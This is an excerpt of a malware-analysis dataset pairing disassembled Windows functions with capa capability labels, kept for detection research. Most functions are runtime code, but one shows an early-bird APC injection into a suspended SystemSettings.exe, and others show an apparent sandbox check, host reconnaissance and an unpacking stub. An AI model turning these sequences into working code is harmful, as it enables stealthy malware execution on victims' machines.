joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000df20
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x28
mov r12, rcx
call qword [sym.imp.ucrtbase.dll_strlen]
mov rbx, rax
xor eax, eax
test rbx, rbx
je 0x1000df73
cmp byte [r12 + rbx - 1], 0xa
je 0x1000df4e
mov rax, qword gs:[0x30]
mov eax, dword [rax + 0x48]
xchg dword [0x10017124], eax
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov edx, 1
mov r9, rax
mov r8, rbx
mov rcx, r12
call qword [sym.imp.ucrtbase.dll_fwrite]
add rsp, 0x28
pop rbx
pop r12
ret
Function at 0x1000e650
Capabilities:
Write file on windows

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x100
mov ebx, ecx
mov rcx, rdx
mov rsi, rdx
mov rdi, r8
call sym.__wine_dbg_get_channel_flags
movzx eax, al
bt eax, ebx
jae 0x1000e828
mov ecx, dword [0x10017124]
xor eax, eax
mov rdx, qword gs:[0x30]
cmp dword [rdx + 0x48], ecx
je 0x1000e734
test byte [0x1000f0a0], 8
jne 0x1000e7d0
lea r12, [rsp + 0x30]
mov rbp, r12
test byte [0x1000f0b0], 8
jne 0x1000e790
mov rax, qword gs:[0x30]
mov r8d, dword [rax + 0x48]
lea rdx, str._04x:
mov rcx, rbp
call sym.sprintf
test rdi, rdi
je 0x1000e6db
cmp ebx, 3
jbe 0x1000e748
mov ecx, 2
call qword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov r8, r12
mov r9, rax
mov ecx, dword [r8]
add r8, 4
lea edx, [rcx - 0x1010101]
not ecx
and edx, ecx
and edx, 0x80808080
je 0x1000e6ec
mov eax, edx
mov rcx, r12
shr eax, 0x10
test edx, 0x8080
cmove edx, eax
lea rax, [r8 + 2]
cmove r8, rax
mov eax, edx
add al, dl
mov edx, 1
sbb r8, 3
sub r8, r12
call qword [sym.imp.ucrtbase.dll_fwrite]
add rsp, 0x100
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
cdqe
add rsi, 1
mov qword [rsp + 0x28], rdi
lea r8, str._s:_s:_s
lea rcx, [rbp + rax]
mov rax, r12
mov qword [rsp + 0x20], rsi
sub rax, rcx
lea rdx, [rax + 0xc8]
lea rax, str.fixme
mov r9, qword [rax + rbx*8]
call sym.snprintf.constprop.0
jmp 0x1000e6db
lea rcx, [0x1000f0b0]
call sym.__wine_dbg_get_channel_flags
test al, 8
je 0x1000e6b5
mov rax, qword gs:[0x30]
mov r8d, dword [rax + 0x40]
mov rcx, rbp
lea rdx, str._04x:
call sym.sprintf
cdqe
add rbp, rax
jmp 0x1000e6b5
lea rcx, [0x1000f0a0]
call sym.__wine_dbg_get_channel_flags
test al, 8
je 0x1000e6a0
call qword [sym.imp.kernel32.dll_GetTickCount]
lea r12, [rsp + 0x30]
lea rdx, str._3u._03u:
mov r8d, eax
mov rcx, r12
mov r9, r8
imul r8, r8, 0x10624dd3
shr r8, 0x26
imul eax, r8d, 0x3e8
sub r9d, eax
call sym.sprintf
movsxd rbp, eax
add rbp, r12
jmp 0x1000e6a8
mov eax, 0xffffffff
jmp 0x1000e734
Function at 0x1400039a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Inject apc
Resume thread
Use process replacement

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x140
call fcn.14001a880
cmp dword [rax], 1
je 0x1400039d9
lea rcx, str.This_program_does_not_accept_any_arguments._n
call fcn.14000ef80
xor eax, eax
jmp 0x140003b84
call fcn.140003fa0
call fcn.140003e30
mov dword [rsp + 0x70], eax
call fcn.140003ee0
call fcn.140003e10
call fcn.140003dc0
mov dword [rsp + 0x74], 4
mov dword [rsp + 0x78], 0x1000
mov dword [rsp + 0x7c], 0x40
lea rax, [rsp + 0xd0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rsp + 0xa8]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.C:WindowsImmersiveControlPanelSystemSettings.exe
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x68], rax
lea rdx, [0x14004e3e8]
lea rcx, [rsp + 0x90]
call fcn.140003ba0
lea rcx, [rsp + 0x90]
call fcn.14000ea50
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rax
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x90]
call fcn.14000ea50
mov qword [rsp + 0x80], rax
lea rcx, [rsp + 0x90]
call fcn.14000c110
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x80]
mov r9, rcx
mov r8, rax
mov rdx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x88], rax
xor r8d, r8d
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_QueueUserAPC]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rsp + 0x50], 0
lea rcx, [rsp + 0x90]
call fcn.140008f00
mov eax, dword [rsp + 0x50]
add rsp, 0x140
pop rdi
ret

Function at 0x140003dc0
Capabilities:
Allocate or change rwx memory

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x140003e05
xor ecx, ecx
call fcn.14001a84c
add rsp, 0x48
ret
Function at 0x140003fa0
Capabilities:
Create thread
Get common file path
Get hostname

Disassembly:
sub rsp, 0xaa8
mov rax, qword [0x14004d040]
xor rax, rsp
mov qword [rsp + 0xa90], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140003f70]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x40], 0
je 0x140004044
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.UniqueAutoClosingMessageBoxTitle
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x140004029
xor r9d, r9d
xor r8d, r8d
mov edx, 0x10
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.USER32.dll_SendMessageA]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x30], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov dword [rsp + 0x34], eax
lea rdx, str.Screen_Width:
lea rcx, [0x14004e620]
call fcn.140004450
mov edx, dword [rsp + 0x30]
mov rcx, rax
call fcn.140009330
lea rdx, str.__Screen_Height:
mov rcx, rax
call fcn.140004450
mov edx, dword [rsp + 0x34]
mov rcx, rax
call fcn.140009330
lea rdx, [0x140007260]
mov rcx, rax
call fcn.140009550
mov edx, 0x400
lea rcx, [rsp + 0x290]
call qword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
lea rdx, str.Console_Window_Title:
lea rcx, [0x14004e750]
call fcn.1400047a0
lea rdx, [rsp + 0x290]
mov rcx, rax
call fcn.1400047a0
lea rdx, [0x1400072b0]
mov rcx, rax
call fcn.140009550
mov edx, 0x104
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
lea rdx, str.System_Directory:
lea rcx, [0x14004e750]
call fcn.1400047a0
lea rdx, [rsp + 0x80]
mov rcx, rax
call fcn.1400047a0
lea rdx, [0x1400072b0]
mov rcx, rax
call fcn.140009550
mov dword [rsp + 0x38], 0x10
lea rdx, [rsp + 0x38]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rdx, str.Computer_Name:
lea rcx, [0x14004e750]
call fcn.1400047a0
lea rdx, [rsp + 0x58]
mov rcx, rax
call fcn.1400047a0
lea rdx, [0x1400072b0]
mov rcx, rax
call fcn.140009550
mov rcx, qword [rsp + 0xa90]
xor rcx, rsp
call fcn.1400139b0
add rsp, 0xaa8
ret
Function at 0x1400115d8
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rdi, rcx
test r8, r8
jg 0x140011606
xor eax, eax
jmp 0x1400116ec
cmp qword [rcx + 0x68], 0
je 0x140011617
call fcn.140011708
jmp 0x1400116ec
mov rax, qword [rcx + 0x38]
mov rsi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x14001162e
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x140011630
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x140011662
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.140034a90
mov rax, qword [rdi + 0x50]
add r14, rbx
sub rsi, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rdi + 0x80], 0
je 0x1400116e6
mov r8, qword [rdi + 0x18]
lea rax, [rdi + 0x70]
cmp qword [r8], rax
jne 0x140011699
mov rcx, qword [rdi + 0x88]
mov rdx, qword [rdi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
mov rax, qword [rdi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x1400116c2
mov r9, qword [rdi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.14001fa20
add r14, rax
sub rsi, rax
cmp rax, rbx
jne 0x1400116e6
cmp rsi, rbx
ja 0x1400116a0
test rsi, rsi
je 0x1400116e6
mov r9, qword [rdi + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.14001fa20
sub rsi, rax
sub rbp, rsi
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret

Function at 0x140013fdc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140014026
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140014026
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140014026
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140014026
cmp dword [rcx + 0x84], 0xe
jbe 0x140014026
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140014028
xor al, al
add rsp, 0x28
ret
Function at 0x14001a84c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001a6ab
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001a6ab
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001a6ab
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001a6ab
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001a6ab
cmp dword [rcx + 0x84], 0xe
jbe 0x14001a6ab
cmp dword [rcx + 0xf8], 0
je 0x14001a6ab
mov ecx, ebx
call fcn.14001a768
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001a538
nop
cmp dword [rbp + 0x20], 0
je 0x14001a6f9
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001a704
int3
xor r8d, r8d
xor edx, edx
jmp 0x14001a63c
Function at 0x14002a420
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, rcx
test rcx, rcx
jne 0x14002a452
call fcn.14001ee48
mov dword [rax], 0x16
call fcn.14001a310
jmp 0x14002a571
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002a571
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002a571
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002a481
lock or dword [rcx + 0x14], 0x10
jmp 0x14002a571
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002a495
call fcn.14002bc4c
mov rdi, qword [rsi + 8]
mov rcx, rsi
mov ebx, dword [rsi + 0x20]
mov qword [rsi], rdi
call fcn.140027e60
mov r8d, ebx
mov rdx, rdi
mov ecx, eax
call fcn.14002b3c8
mov dword [rsi + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x14002a55f
mov eax, dword [rsi + 0x14]
or edi, 0xffffffff
test al, 6
jne 0x14002a52a
mov rcx, rsi
call fcn.140027e60
cmp eax, edi
je 0x14002a515
mov rcx, rsi
call fcn.140027e60
cmp eax, 0xfffffffe
je 0x14002a515
mov rcx, rsi
call fcn.140027e60
movsxd rbx, eax
lea r14, [0x14004f7b0]
mov rcx, rsi
sar rbx, 6
call fcn.140027e60
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [r14 + rbx*8]
lea rdx, [rax + rcx*8]
jmp 0x14002a51c
lea rdx, [0x14004d430]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002a52a
lock or dword [rsi + 0x14], 0x20
cmp dword [rsi + 0x20], 0x200
jne 0x14002a54e
mov eax, dword [rsi + 0x14]
shr eax, 6
test al, 1
je 0x14002a54e
mov eax, dword [rsi + 0x14]
shr eax, 8
test al, 1
jne 0x14002a54e
mov dword [rsi + 0x20], 0x1000
mov rax, qword [rsi]
add dword [rsi + 0x10], edi
movzx edi, byte [rax]
inc rax
mov qword [rsi], rax
jmp 0x14002a574
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret
Function at 0x14002a58c
Capabilities:
Read file on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
jne 0x14002a2ae
call fcn.14001ee48
mov dword [rax], 0x16
call fcn.14001a310
jmp 0x14002a3fe
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14002a3fe
mov eax, dword [rcx + 0x14]
shr eax, 0xc
test al, 1
jne 0x14002a3fe
mov eax, dword [rcx + 0x14]
shr eax, 1
test al, 1
je 0x14002a2dd
lock or dword [rcx + 0x14], 0x10
jmp 0x14002a3fe
lock or dword [rcx + 0x14], 1
mov eax, dword [rcx + 0x14]
test eax, 0x4c0
jne 0x14002a2f1
call fcn.14002bc4c
mov ebp, dword [rbx + 0x10]
cmp ebp, 1
jne 0x14002a301
mov rax, qword [rbx]
mov r14b, byte [rax]
jmp 0x14002a304
xor r14b, r14b
mov rsi, qword [rbx + 8]
mov rcx, rbx
mov edi, dword [rbx + 0x20]
mov qword [rbx], rsi
call fcn.140027e60
mov r8d, edi
mov rdx, rsi
mov ecx, eax
call fcn.14002b3c8
mov dword [rbx + 0x10], eax
lea ecx, [rax + 1]
cmp ecx, 2
jbe 0x14002a3ec
mov eax, dword [rbx + 0x14]
test al, 6
jne 0x14002a397
mov rcx, rbx
call fcn.140027e60
cmp eax, 0xffffffff
je 0x14002a382
mov rcx, rbx
call fcn.140027e60
cmp eax, 0xfffffffe
je 0x14002a382
mov rcx, rbx
call fcn.140027e60
movsxd rdi, eax
lea rsi, [0x14004f7b0]
mov rcx, rbx
sar rdi, 6
call fcn.140027e60
and eax, 0x3f
lea rcx, [rax + rax*8]
mov rax, qword [rsi + rdi*8]
lea rdx, [rax + rcx*8]
jmp 0x14002a389
lea rdx, [0x14004d430]
mov al, byte [rdx + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14002a397
lock or dword [rbx + 0x14], 0x20
cmp dword [rbx + 0x20], 0x200
jne 0x14002a3bb
mov eax, dword [rbx + 0x14]
shr eax, 6
test al, 1
je 0x14002a3bb
mov eax, dword [rbx + 0x14]
shr eax, 8
test al, 1
jne 0x14002a3bb
mov dword [rbx + 0x20], 0x1000
mov rdx, qword [rbx]
cmp ebp, 1
jne 0x14002a3d9
movzx ecx, byte [rdx]
dec dword [rbx + 0x10]
shl cx, 8
movzx eax, r14b
or cx, ax
inc rdx
jmp 0x14002a3e4
movzx ecx, word [rdx]
add dword [rbx + 0x10], 0xfffffffe
add rdx, 2
mov qword [rbx], rdx
movzx eax, cx
jmp 0x14002a403
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rbx + 0x14], eax
and dword [rbx + 0x10], 0
mov eax, 0xffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
jmp 0x14002a278
Function at 0x14002a8a4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.140013950
sub rsp, rax
mov rax, qword [0x14004d040]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.140027e60
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002a8f3
mov rax, rbp
jmp 0x14002a9fb
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x4f7b0]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.14002bba0
mov r13, rax
lea rax, [0x140000000]
mov rcx, qword [rax + rbx*8 + 0x4f7b0]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x14002a9f7
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002a9f7
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.14002bba0
test rax, rax
js 0x14002a9f7
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x14002a9f7
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x14002a9e9
lea r8, [0x140000000]
cmp rcx, rdx
jae 0x14002a9e9
cmp byte [rcx], 0xd
jne 0x14002a9cf
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x14002a9de
cmp byte [rcx + 1], 0xa
jne 0x14002a9de
inc rcx
jmp 0x14002a9de
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0x4d480]
add rcx, rax
inc rdi
inc rcx
cmp rdi, rsi
jne 0x14002a9b1
lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x14002a9fb
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.1400139b0
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
Function at 0x14002af1c
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x30
movsxd rbp, ecx
mov r9, r8
mov rax, rbp
lea rcx, [0x14004f7b0]
and eax, 0x3f
mov r10, rbp
sar r10, 6
xor edi, edi
mov rsi, rdx
mov r14, rbp
lea r8, [rax + rax*8]
mov rax, qword [rcx + r10*8]
mov ecx, 4
mov qword [rsp + 0x78], rcx
mov r11, qword [rax + r8*8 + 0x28]
lea r12d, [rcx + 6]
test r9, r9
je 0x14002af7a
cmp word [rdx], r12w
jne 0x14002af7a
or byte [rax + r8*8 + 0x38], cl
jmp 0x14002af80
and byte [rax + r8*8 + 0x38], 0xfb
lea rdx, [rdx + r9*2]
mov rcx, rsi
mov rbx, rsi
cmp rsi, rdx
jae 0x14002b0db
mov r9d, 0x1a
lea r13d, [r9 - 0xd]
movzx eax, word [rcx]
cmp ax, r9w
je 0x14002b0b6
lea r9, [rcx + 2]
cmp ax, r13w
je 0x14002afb9
mov rcx, r9
jmp 0x14002afdc
cmp r9, rdx
jae 0x14002aff3
cmp word [r9], r12w
mov eax, 2
cmove rax, qword [rsp + 0x78]
add rcx, rax
mov eax, r12d
cmp word [r9], r12w
cmovne ax, r13w
mov word [rbx], ax
mov r9d, 0x1a
add rbx, 2
cmp rcx, rdx
jb 0x14002af9d
jmp 0x14002b0db
lea r9, [rsp + 0x80]
mov qword [rsp + 0x20], rdi
mov r8d, 2
lea rdx, [rsp + 0x70]
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14002b0b0
cmp dword [rsp + 0x80], edi
je 0x14002b0b0
mov rdx, r14
lea r11, [0x14004f7b0]
sar rdx, 6
and r14d, 0x3f
mov rax, qword [r11 + rdx*8]
lea r8, [r14 + r14*8]
test byte [rax + r8*8 + 0x38], 0x48
je 0x14002b089
movzx eax, word [rsp + 0x70]
cmp ax, r12w
jne 0x14002b05c
mov word [rbx], r12w
jmp 0x14002b0d7
mov word [rbx], r13w
mov word [rsp + 0x78], ax
mov rax, qword [r11 + rdx*8]
lea rcx, [rax + r8*8]
mov al, byte [rsp + rdi + 0x78]
mov byte [rcx + rdi + 0x3a], al
inc rdi
cmp rdi, 2
jl 0x14002b065
mov rax, qword [r11 + rdx*8]
mov byte [rax + r8*8 + 0x3c], r12b
jmp 0x14002b0d7
cmp word [rsp + 0x70], r12w
jne 0x14002b096
cmp rbx, rsi
je 0x14002b056
mov rdx, 0xfffffffffffffffe
mov ecx, ebp
lea r8d, [rdx + 3]
call fcn.14002bba8
cmp word [rsp + 0x70], r12w
je 0x14002b0db
mov word [rbx], r13w
jmp 0x14002b0d7
lea r11, [0x14004f7b0]
mov rcx, qword [r11 + r10*8]
mov al, byte [rcx + r8*8 + 0x38]
test al, 0x40
jne 0x14002b0d3
or al, 2
mov byte [rcx + r8*8 + 0x38], al
jmp 0x14002b0db
mov word [rbx], r9w
add rbx, 2
sub rbx, rsi
sar rbx, 1
lea eax, [rbx + rbx]
add rsp, 0x30
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x14002d97c
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14002d9ac
xor eax, eax
jmp 0x14002da6f
mov rbp, rbx
cmp word [rax], si
je 0x14002d9d1
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14002d9b8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14002d9b4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14002c128
movsxd r14, eax
test eax, eax
jne 0x14002da0f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14002d9a5
mov rcx, r14
call fcn.140026ab0
mov rdi, rax
test rax, rax
jne 0x14002da28
xor ecx, ecx
call fcn.140025d70
jmp 0x14002da04
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14002c128
test eax, eax
jne 0x14002da59
mov rcx, rdi
call fcn.140025d70
jmp 0x14002da63
xor ecx, ecx
call fcn.140025d70
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret

Function at 0x1400345e0
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140034608
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140034608
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140151310
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14015131d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14015132d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140151315
lea eax, [rcx + 1]
jmp 0x14015133b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14015134e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140151334
sub eax, 3
jb 0x14015136e
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1401513bd
sar eax, 1
movsxd rbp, eax
jb 0x1401513a4
jmp 0x14015137c
add ebx, ebx
jne 0x14015137a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401513a4
inc ecx
add ebx, ebx
jne 0x14015138a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1401513a4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14015139d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14015138c
add ecx, 2
jmp 0x1401513a9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1401512d2
jmp 0x14015131d
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xe4e00
mov dl, 0x15
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14015140d
cmp rsi, rcx
jae 0x140151415
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1401513f4
cmp al, 0x8f
ja 0x1401513f4
cmp byte [rsi - 2], 0xf
je 0x1401513fa
sub al, 0xe8
cmp al, 1
ja 0x1401513de
cmp rsi, rcx
jae 0x140151415
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1401513e4
pop rdi
bswap eax
sub eax, edi
add eax, ebx
